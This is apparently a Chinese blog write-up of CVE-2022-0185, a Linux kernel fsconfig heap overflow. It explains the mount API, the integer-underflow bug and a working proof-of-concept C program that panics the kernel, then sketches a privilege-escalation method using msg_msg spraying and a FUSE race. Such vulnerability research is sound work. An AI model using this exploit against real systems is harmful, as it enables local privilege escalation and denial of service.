【CVE.0x09】CVE-2022-0185 漏洞复现及简要分析

本文最后更新于:2023年1月11日 下午

还是 mount 好

0x00.一切开始之前

CVE-2022-0185 是 2022 年初爆出来的一个位于 filesystem context 系统中的 fsconfig 系统调用中的一个堆溢出漏洞,对于有着 CAP_SYS_ADMIN 权限(或是开启了 unprivileged namespace)的攻击者而言其可以利用该漏洞完成本地提权,该漏洞获得了高达 8.4 的 CVSS 评分

发现漏洞的安全研究员的挖掘与利用过程参见这里,本文编写时也有一定参考

本文选择内核版本 5.4 进行分析,在开始分析之前,我们先来补充一些基础知识

Filesystem mount API 初探

参见知乎上的该系列文章

相信大家对于 Linux 下的文件系统的挂载都是非常熟悉—— mount 系统调用被用以将文件系统挂载到以 / 为根节点的文件树上,例如我们可以用如下命令挂载硬盘 /dev/sdb1/mnt/temp 目录下,之后就能在该目录下进行文件访问:

1
$ sudo mount /dev/sdb1 /mnt/temp

或是通过编写程序的方式使用裸的 mount 系统调用进行挂载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <sys/mount.h>

int main(int argc, char **argv, char **envp)
{
if (argc < 4) {
puts("[-] Usage: moount {dev_path} {mount_point} {fs_type}")
}

if (mount(argv[1], argv[2], argv[3], 0, NULL)) {
printf("[x] Failed to mount %s at %s by file system type: %s!\n",
argv[1], argv[2], argv[3]);
} else {
printf("[+] Successful to mount %s at %s by file system type: %s.\n",
argv[1], argv[2], argv[3]);
}

return 0;
}

但是总有些人想搞个大新闻,以 AL Viro 为首的开发者认为旧的 mount 系统调用存在诸多漏洞与设计缺陷,于是决定重写一套新的 mount API,并成功被合并到内核主线,称之为 Filesystem Mount API

新的 mount API 将过去的一个简单的 mount 系统调用的功能拆分成了数个新的系统调用,对应不同的文件系统挂载阶段,于是乎现在 Linux 上有着两套并行的 mount API

👴的评价是闲着没事干可以去把村口大粪挑一下

Step.I - fsopen: 获取一个 filesystem context

还记得笔者以前说过的 Linux 中一切皆文件 的哲学吗,在新的 mount API 中也遵循了这样的哲学——如果说 open() 系统调用用以打开一个文件并提供一个文件描述符,那么 fsopen() 系统调用便用于打开一个文件系统,并提供一个”文件系统描述符“——称之为 **文件系统上下文**(filesystem context)

wait, it's all FILES

由于标准库中还未添加 new mount API 相关的代码,因此我们需要写 raw syscall 来进行相关的系统调用,例如我们可以使用如下代码打开一个空白的 ext4 文件系统上下文(需要 CAP_SYS_ADMIN 权限,或是开启了 unprivileged namespace 的情况下使用 unshare() 系统调用创建带有该权限的 namespace):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int main(int argc, char **argv, char **envp)
{
int fs_fd;

fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts("[x] FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

return 0;
}

需要注意的是这里创建的是一个空白的文件系统上下文,并没有与任何实际设备或文件进行关联——这是我们需要在接下来的步骤中完成的配置

fsopen() in kernel

superblock、dentry 这类的 VFS 基础知识不在此处科普,请自行了解:)

在内核当中,fsopen() 系统调用的行为实际上对应创建的是一个 fs_context 结构体作为 filesystem context,创建一个对应的 file 结构体并分配一个文件描述符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/*
* 按名称打开文件系统以便于对其进行设置以挂载
*
* 我们被允许指定在哪个容器中打开文件系统,由此指示要使用哪一个命名空间
* (尤其是将哪个网络命名空间用于网络文件系统).
*/
SYSCALL_DEFINE2(fsopen, const char __user *, _fs_name, unsigned int, flags)
{
struct file_system_type *fs_type;//文件系统类型
struct fs_context *fc;//文件系统上下文
const char *fs_name;
int ret;

// capabilities 机制,检查对应【命名空间】是否有 CAP_SYS_ADMIN 权限
if (!ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN))
return -EPERM;

if (flags & ~FSOPEN_CLOEXEC)
return -EINVAL;

// 拷贝用户传入的文件系统名
fs_name = strndup_user(_fs_name, PAGE_SIZE);
if (IS_ERR(fs_name))
return PTR_ERR(fs_name);

// 按名称获取文件系统类型
fs_type = get_fs_type(fs_name);
kfree(fs_name);
if (!fs_type)
return -ENODEV;

// 创建文件系统上下文结构体
fc = fs_context_for_mount(fs_type, 0);
put_filesystem(fs_type);
if (IS_ERR(fc))
return PTR_ERR(fc);

fc->phase = FS_CONTEXT_CREATE_PARAMS;

// 分配 Logging buffer
ret = fscontext_alloc_log(fc);
if (ret < 0)
goto err_fc;

// 创建 file 结构体并分配文件描述符
return fscontext_create_fd(fc, flags & FSOPEN_CLOEXEC ? O_CLOEXEC : 0);

err_fc:
put_fs_context(fc);
return ret;
}

其中 fs_context 的具体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/*
* 用以保存在创建与重新配置一个 superblock 中的参数的文件系统上下文
*
* Superblock 的创建会填充到 ->root 中,重新配置需要该字段已经设置.
*
* 参见 Documentation/filesystems/mount_api.txt
*/
struct fs_context {
const struct fs_context_operations *ops;
struct mutex uapi_mutex; /* 用户空间访问的互斥锁 */
struct file_system_type *fs_type;
void *fs_private; /* 文件系统的上下文 */
void *sget_key;
struct dentry *root; /* root 与 superblock */
struct user_namespace *user_ns; /* 将要挂载的用户命名空间 */
struct net *net_ns; /* 将要挂载的网络1命名空间 */
const struct cred *cred; /* 挂载者的 credentials */
struct fc_log *log; /* Logging buffer */
const char *source; /* 源 (eg. 设备路径) */
void *security; /* Linux S&M 设置 */
void *s_fs_info; /* Proposed s_fs_info */
unsigned int sb_flags; /* Proposed superblock flags (SB_*) */
unsigned int sb_flags_mask; /* Superblock flags that were changed */
unsigned int s_iflags; /* OR'd with sb->s_iflags */
unsigned int lsm_flags; /* Information flags from the fs to the LSM */
enum fs_context_purpose purpose:8;
enum fs_context_phase phase:8; /* The phase the context is in */
bool need_free:1; /* 需要调用 ops->free() */
bool global:1; /* Goes into &init_user_ns */
};

fs_context 的初始化在 alloc_fs_context() 中完成,在 fsopen() 中对应的是 FS_CONTEXT_FOR_MOUNT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
/**
* alloc_fs_context - 创建一个文件系统上下文.
* @fs_type: 文件系统类型.
* @reference: The dentry from which this one derives (or NULL)//想不出咋翻
* @sb_flags: Filesystem/superblock 标志位 (SB_*)
* @sb_flags_mask: @sb_flags 中可用的成员
* @purpose: 本次配置的目的.
*
* 打开一个文件系统并创建一个挂载上下文(mount context),挂载上下文被以对应的标志位进行初始化,
* 若从另一个 superblock (引自 @reference)进行 submount/automount,
* 则可能由从该 superblock 拷贝来的参数1(如命名空间).
*/
static struct fs_context *alloc_fs_context(struct file_system_type *fs_type,
struct dentry *reference,
unsigned int sb_flags,
unsigned int sb_flags_mask,
enum fs_context_purpose purpose)
{
int (*init_fs_context)(struct fs_context *);
struct fs_context *fc;
int ret = -ENOMEM;

// 分配 fs_context 结构体
fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL);
if (!fc)
return ERR_PTR(-ENOMEM);

// 设置对应属性
fc->purpose = purpose;
fc->sb_flags = sb_flags;
fc->sb_flags_mask = sb_flags_mask;
fc->fs_type = get_filesystem(fs_type);
fc->cred = get_current_cred();
fc->net_ns = get_net(current->nsproxy->net_ns);

mutex_init(&fc->uapi_mutex);

// 由 purpose 设置对应的命名空间
switch (purpose) {
case FS_CONTEXT_FOR_MOUNT:
fc->user_ns = get_user_ns(fc->cred->user_ns);
break;
case FS_CONTEXT_FOR_SUBMOUNT:
fc->user_ns = get_user_ns(reference->d_sb->s_user_ns);
break;
case FS_CONTEXT_FOR_RECONFIGURE:
atomic_inc(&reference->d_sb->s_active);
fc->user_ns = get_user_ns(reference->d_sb->s_user_ns);
fc->root = dget(reference);
break;
}

/* TODO: 让所有的文件系统无条件支持这块 */
init_fs_context = fc->fs_type->init_fs_context;
if (!init_fs_context)
init_fs_context = legacy_init_fs_context;

// 初始化 fs_context
ret = init_fs_context(fc);
if (ret < 0)
goto err_fc;
fc->need_free = true;
return fc;

err_fc:
put_fs_context(fc);
return ERR_PTR(ret);
}

在完成了通用的初始化工作后,最终进行具体文件系统对应初始化工作的其实是调用 file_system_type 中的 init_fs_context 函数指针对应的函数完成的,这里我们可以看到对于未设置 init_fs_context 的文件系统类型而言其最终会调用 legacy_init_fs_context() 进行初始化,主要就是为 fs_context->fs_private 分配一个 legacy_fs_context 结构体,并将 fs_context 的函数表设置为 legacy_fs_context_ops

1
2
3
4
5
6
7
8
static int legacy_init_fs_context(struct fs_context *fc)
{
fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
if (!fc->fs_private)
return -ENOMEM;
fc->ops = &legacy_fs_context_ops;
return 0;
}

legacy_fs_context 结构体的定义如下,标识了一块指定长度与类型的缓冲区:

1
2
3
4
5
struct legacy_fs_context {
char *legacy_data; /* Data page for legacy filesystems */
size_t data_size;
enum legacy_fs_param param_type;
};

Step.II - fsconfig: 设置 filesystem context 的相关参数与操作

在完成了空白的文件系统上下文的创建之后,我们还需要对其进行相应的配置,以便于后续的挂载操作,这个配置的功能对应到的就是 fsconfig() 系统调用

fsconfig() 系统调用根据不同的 cmd 进行不同的操作,对于挂载文件系统而言其核心操作主要就是两个 cmd:

  • FSCONFIG_SET_STRING :设置不同的键值对参数
  • FSCONFIG_CMD_CREATE:获得一个 superblock 并创建一个 root entry

示例用法如下所示,这里创建了一个键值对 "source"=/dev/sdb1 表示文件系统源所在的设备名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

int main(int argc, char **argv, char **envp)
{
int fs_fd;

fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts("[x] FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);

return 0;
}

✳ fsconfig() in kernel

内核空间中的 fsconfig() 实现比较长,但主要就是根据 cmd 进行各种 switch,这里就不贴完整的源码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
SYSCALL_DEFINE5(fsconfig,
int, fd,
unsigned int, cmd,
const char __user *, _key,
const void __user *, _value,
int, aux)
{
struct fs_context *fc;
struct fd f;
int ret;

struct fs_parameter param = {
.type = fs_value_is_undefined,
};

if (fd < 0)
return -EINVAL;

switch (cmd) {
case FSCONFIG_SET_FLAG:
// 主要是参数的各种检查
// ...
default:
return -EOPNOTSUPP;
}

// 获取文件描述符
f = fdget(fd);
if (!f.file)
return -EBADF;
ret = -EINVAL;
if (f.file->f_op != &fscontext_fops)
goto out_f;

// 获取 fs_context,存储在文件描述符的 private_data 字段
fc = f.file->private_data;
if (fc->ops == &legacy_fs_context_ops) {
switch (cmd) { // 一个操作都没实现
case FSCONFIG_SET_BINARY:
case FSCONFIG_SET_PATH:
case FSCONFIG_SET_PATH_EMPTY:
case FSCONFIG_SET_FD:
ret = -EOPNOTSUPP;
goto out_f;
}
}

// 拷贝 key 字段到内核空间
if (_key) {
param.key = strndup_user(_key, 256);
if (IS_ERR(param.key)) {
ret = PTR_ERR(param.key);
goto out_f;
}
}

// 根据不同的 cmd 进行 param 的不同设置
switch (cmd) {
// ...
// 我们主要关注这个 cmd
case FSCONFIG_SET_STRING:
param.type = fs_value_is_string;
param.string = strndup_user(_value, 256);
if (IS_ERR(param.string)) {
ret = PTR_ERR(param.string);
goto out_key;
}
param.size = strlen(param.string);
break;
// ...
default:
break;
}

ret = mutex_lock_interruptible(&fc->uapi_mutex);
if (ret == 0) { // 根据前面设置的 param 进行 VFS 相关操作
ret = vfs_fsconfig_locked(fc, cmd, &param);
mutex_unlock(&fc->uapi_mutex);
}

/* Clean up the our record of any value that we obtained from
* userspace. Note that the value may have been stolen by the LSM or
* filesystem, in which case the value pointer will have been cleared.
*/
switch (cmd) {
case FSCONFIG_SET_STRING:
// 临时数据清理工作
//...
default:
break;
}
out_key:
kfree(param.key);
out_f:
fdput(f);
return ret;
}

fsconfig() 的核心作用主要还是根据 cmd 进行参数的封装,最后进入到 VFS 中的操作则通过 vfs_fsconfig_locked() 完成

Step.III - fsmount: 获取一个挂载实例

完成了文件系统上下文的创建与配置,接下来终于来到文件系统的挂载操作了,fsmount() 系统调用用以获取一个可以被用以进行挂载的挂载实例,并返回一个文件描述符用以下一步的挂载

示例用法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

int fsmount(int fsfd, unsigned int flags, unsigned int ms_flags)
{
return syscall(__NR_fsmount, fsfd, flags, ms_flags);
}

int main(int argc, char **argv, char **envp)
{
int fs_fd, mount_fd;

fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts("[x] FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);

mount_fd = fsmount(fs_fd, FSMOUNT_CLOEXEC, MOUNT_ATTR_RELATIME);

return 0;
}

Step.IV - move_mount: 将挂载实例在挂载点间移动

最后来到一个不统一以 fs 开头进行命名的 move_mount() 系统调用,其用以将挂载实例在挂载点间移动:

  • 对于尚未进行挂载的挂载实例而言,进行挂载的操作便是从空挂载点 "" 移动到对应的挂载点(例如 "/mnt/temp"),此时我们并不需要给出目的挂载点的 fd,而可以使用 AT_FDCWD

引入了 move_mount() 之后,我们最终的一个用以将 "/dev/sdb1""ext4" 文件系统挂载到 "/mnt/temp" 的完整示例程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>
#include <fcntl.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif

#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

int fsmount(int fsfd, unsigned int flags, unsigned int ms_flags)
{
return syscall(__NR_fsmount, fsfd, flags, ms_flags);
}

int move_mount(int from_dfd, const char *from_pathname,int to_dfd,
const char *to_pathname, unsigned int flags)
{
return syscall(__NR_move_mount, from_dfd, from_pathname, to_dfd, to_pathname, flags);
}

int main(int argc, char **argv, char **envp)
{
int fs_fd, mount_fd;

fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts("[x] FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);

mount_fd = fsmount(fs_fd, FSMOUNT_CLOEXEC, MOUNT_ATTR_RELATIME);
move_mount(mount_fd, "", AT_FDCWD, "/mnt/temp", MOVE_MOUNT_F_EMPTY_PATH);

return 0;
}

这一套流程下来便是 new Filesystem mount API 的基本用法

0x01.漏洞分析

legacy_parse_param() - 整型溢出导致的越界拷贝

前面我们提到该漏洞发生于 fsconfig() 系统调用中,若我们给的 cmdFSCONFIG_SET_STRING,则在内核中存在如下调用链:

1
2
3
fsconfig()
vfs_fsconfig_locked()
vfs_parse_fs_param()

vfs_parse_fs_param() 中会调用 fs_context->ops->parse_param 函数指针:

1
2
3
4
5
6
7
8
9
10
11
int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param)
{
int ret;

//...

if (fc->ops->parse_param) {
ret = fc->ops->parse_param(fc, param);
if (ret != -ENOPARAM)
return ret;
}

前面我们讲到对于未设置 init_fs_context 的文件系统类型而言其最终会调用 legacy_init_fs_context() 进行初始化,其中 fs_context 的函数表会被设置为 legacy_fs_context_ops,其 parse_param 指针对应为 legacy_parse_param() 函数:

1
2
3
4
5
6
7
8
const struct fs_context_operations legacy_fs_context_ops = {
.free = legacy_fs_context_free,
.dup = legacy_fs_context_dup,
.parse_param = legacy_parse_param,
.parse_monolithic = legacy_parse_monolithic,
.get_tree = legacy_get_tree,
.reconfigure = legacy_reconfigure,
};

漏洞便发生在该函数中,在计算 len > PAGE_SIZE - 2 - size 时,由于 size 为 unsigned int ,若 size + 2 > PAGE_SIZE ,则 PAGE_SIZE - 2 - size 的结果会下溢为一个较大的无符号值,从而绕过 len 的检查,这里的 size 来源为 ctx->data_size,即已拷贝的总的数据长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/*
* Add a parameter to a legacy config. We build up a comma-separated list of
* options.
*/
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size; // 已拷贝的数据长度
size_t len = 0;

if (strcmp(param->key, "source") == 0) {
if (param->type != fs_value_is_string)
return invalf(fc, "VFS: Legacy: Non-string source");
if (fc->source)
return invalf(fc, "VFS: Legacy: Multiple sources");
fc->source = param->string;
param->string = NULL;
return 0;
}

if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");

// 计算 len
switch (param->type) {
case fs_value_is_string:// 对应 FSCONFIG_SET_STRING
len = 1 + param->size;
/* Fall through */
case fs_value_is_flag:
len += strlen(param->key);
break;
default:
return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",
param->key);
}

// 此处存在整型溢出的漏洞,若 size + 2 大于一张页的大小则会上溢为一个较大的无符号整型,
// 导致此处通过检查,从而导致后续步骤中的越界拷贝
if (len > PAGE_SIZE - 2 - size)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);

在后面的流程中会从用户控件将数据拷贝到 ctx->legacy_data 上,而 ctx->legacy_data 仅分配了一张页面大小,但后续流程中的拷贝是从 ctx->legacy_data[size] 开始的,由于 size 可以大于一张页大小,因此此处可以发生数据数据写入,由于 ctx->legacy_data 在分配时使用的是通用的分配 flag GFP_KERNEL,因此可以溢出到绝大多数的常用结构体中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
	// 为 legacy_data 分配一张页的大小
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (!ctx->legacy_data)
return -ENOMEM;
}

ctx->legacy_data[size++] = ',';
len = strlen(param->key);
// size 可以大于一张页,但是 legacy_data 只有一张页,从而导致了越界拷贝
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
// size 可以大于一张页,但是 legacy_data 只有一张页,从而导致了越界拷贝
memcpy(ctx->legacy_data + size, param->string, param->size);
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}

这里需要注意的是,由于 fsconfig 的限制,我们单次写入的最大长度为 256 字节,因此我们需要多次调用 fsconfig 以让其逐渐逼近 PAGE_SIZE,而 len > PAGE_SIZE - 2 - size 的检查并非完全无效,由于 size 为已拷贝数据长度而 len 为待拷贝数据长度,因此只有当 size 累加到 4095 时才会发生整型溢出,这里我们在进行溢出前需要卡好已拷贝数据长度刚好为 4095

由于 legacy_parse_param() 中拷贝的结果形式为 ",key=val",故我们有如下计算公式:

  • 单次拷贝数据长度 = len(key) + len(val) + 2

下面笔者给出一个笔者自己计算的 4095:

1
2
3
4
5
6
7
8
/**
* fulfill the ctx->legacy_data to 4095 bytes,
* so that the (PAGE_SIZE - 2 - size) overflow
*/
for (int i = 0; i < 255; i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "arttnba", 0);
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "pwnnn", 0);

Proof of Concept

由于大部分的文件系统类型都未设置 init_fs_context,因此最后都可以走到 legacy_parse_param() 的流程当中,例如 ext4 文件系统的 file_system_type 定义如下:

1
2
3
4
5
6
7
static struct file_system_type ext4_fs_type = {
.owner = THIS_MODULE,
.name = "ext4",
.mount = ext4_mount,
.kill_sb = kill_block_super,
.fs_flags = FS_REQUIRES_DEV,
};

这里我们将通过 ext4 文件系统进行漏洞复现,我们只需要越界写足够长的一块内存,通常都能写到一些内核结构体从而导致 kernel panic

需要注意的是 filesystem mount API 需要命名空间具有 CAP_SYS_ADMIN 权限,但由于其仅检查命名空间权限,故对于没有该权限的用户则可以通过 unshare(CLONE_NEWNS|CLONE_NEWUSER) 创建新的命名空间,以在新的命名空间内获取对应权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#define _GNU_SOURCE 
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <linux/mount.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd,
const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

void errExit(char *msg)
{
printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}

int main(int argc, char **argv, char **envp)
{
int fs_fd;

/* create new namespace to get CAP_SYS_ADMIN */
unshare(CLONE_NEWNS | CLONE_NEWUSER);

/* get a filesystem context */
fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
errExit("FAILED to fsopen()!");
}

/**
* fulfill the ctx->legacy_data to 4095 bytes,
* so that the (PAGE_SIZE - 2 - size) overflow
*/
for (int i = 0; i < 255; i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "arttnba", 0);
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "pwnnn", 0);

/* make an oob-write by fsconfig */
for (int i = 0; i < 0x4000; i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "arttnba3", 0);
}

return 0;
}

运行,成功通过堆溢出造成 kernel panic:

image.png

0x02.漏洞利用

现在我们有了任意长度的堆溢出,而可溢出对象用的分配 flag 为 GFP_KERNEL、大小为 4k(一张内存页大小),那么我们不难想到可以基于我们的老朋友 System V 消息队列结构体来完成利用

Step.I - 堆喷 msg_msg,覆写 m_ts 字段进行越界读取

我们先来复习一下消息队列中一条消息的基本结构,当我们调用 msgsnd 系统调用在指定消息队列上发送一条指定大小的 message 时,在内核空间中会创建这样一个结构体作为信息的 header:

1
2
3
4
5
6
7
8
9
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

当我们在单个消息队列上发送一条消息时,若大小不大于【一个页面大小 - header size】,则仅使用一个 msg_msg 结构体进行存储,而当我们单次发送大于【一个页面大小 - header size】大小的消息时,内核会额外补充添加 msg_msgseg 结构体,其与 msg_msg 之间形成如下单向链表结构,而单个 msg_msgseg 的大小最大为一个页面大小,超出这个范围的消息内核会额外补充上更多的 msg_msgseg 结构体,链表最后以 NULL 结尾:

image.png

由于我们有越界写,那么我们不难想到的是我们可以将 msg_msgctx->legacy_data 堆喷到一起,之后越界写入相邻 msg_msg 的 header 将 m_ts 改大,之后我们再使用 msgrcv() 读取消息,便能读取出超出该消息范围的内容,从而完成越界读取;由于我们的越界写入会破坏 msg_msg 头部的双向链表,因此在读取时我们应当使用 MSG_COPY 以保持消息在队列上不会被 unlink

由于 ctx->legacy_data 的大小已经是 4k 了,故我们考虑在 msg_msgseg 上完成越界读取,由于 msgrcv() 拷贝消息时以单链表结尾 NULL 作为终止,故我们最多可以在 msg_msgseg 上读取将近一张内存页大小的数据,因此我们考虑让 msg_msgseg 的消息尽量小,从而让我们能够越界读取到更多的 object

接下来考虑如何使用越界读取进行数据泄露,这里我们考虑堆喷其他的可以泄露数据的小结构体与我们的 msg_msgseg 混在一起,从而使得我们越界读取时可以直接读到我们堆喷的这些小结构体,从而泄露出内核代码段加载基地址,那么这里笔者考虑堆喷 seq_operations 来完成数据的泄露

为了提高越界写入 msg_msg 的成功率,笔者选择先堆喷一部分 msg_msg,之后分配 ctx->legacy_data , 接下来再堆喷另一部分 msg_msg为了提高数据泄露的成功概率,笔者选择在每次在消息队列上发送消息时都喷一个 seq_operations,在完成消息队列的发送之后再喷射大量的 seq_operations

不过需要注意的是我们的越界写并不一定能写到相邻的 msg_msg,也可能写到其他结构体或是 free object,若 free object 的 next 指针刚好位于开头被我们 overwrite 了,则会在后面的分配中导致 kernel panic

Step.II - 堆喷 msg_msg,利用 FUSE 在消息拷贝时覆写 next 字段进行任意地址写

接下来我们该考虑如何进行提权的工作了,通过覆写 msg_msg 的方式我们同样可以进行任意地址写的操作,由于消息发送时在 do_msgsnd() 当中是先分配对应的 msg_msgmsg_msgseg 链表作为消息的存储空间再进行拷贝,那么我们不难想到的是我们可以先发送一个大于一张内存页大小的消息,这样会分配一个 4k 的 msg_msg 与一个 msg_msgseg ,在 do_msgsnd() 中完成空间分配后在 msg_msg 上进行数据拷贝的时候,我们在另一个线程当中使用越界写更改 msg_msg 的 header,使其 next 指针更改到我们想要写入数据的地方,当 do_msgsnd() 开始将数据拷贝到 msg_msgseg 上时,由于 msg_msg 的 next 指针已经被我们所更改,故其会将数据写入到我们指定的地址上,从而完成任意地址写

image.png

不过 do_msgsnd() 的所有操作在一个系统调用中完成,因此这需要我们进行条件竞争,而常规的条件竞争通常很难成功,那么我们不难想到的是我们可以利用 userfaultfddo_msgsnd() 在拷贝数据到 msg_msg 时触发用户空间的缺页异常,陷入到我们的 page fault handler 中,我们在 handler 线程中再进行越界写,之后恢复到原线程,这样利用的成功率便大大提高了

image.png

但是自 kernel 版本 5.11 起非特权用户无法使用 userfaultfd,而该漏洞影响的内核版本包括 5.11以上的版本,因此我们需要使用更为通用的办法——用户空间文件系统(filesystem in userspace,FUSE)可以被用作 userfaultfd 的替代品,帮助我们完成条件竞争的利用

image.png

不过需要注意的是,由于 slub allocator 的随机性,我们并不能保证一定能够溢出到陷入 FUSE 中的 msg_msg ,因此需要多次分配并进行检查以确保我们完成了任意地址写

